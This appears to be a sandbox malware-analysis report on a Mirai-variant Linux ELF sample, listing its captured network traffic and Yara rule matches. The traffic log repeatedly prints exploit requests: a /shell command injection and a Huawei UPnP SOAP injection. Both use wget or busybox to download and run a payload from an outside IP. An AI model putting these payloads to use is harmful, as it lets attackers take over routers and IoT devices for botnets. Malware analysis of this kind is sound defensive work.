Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: scamanje.stresserit.pro

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: x86.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
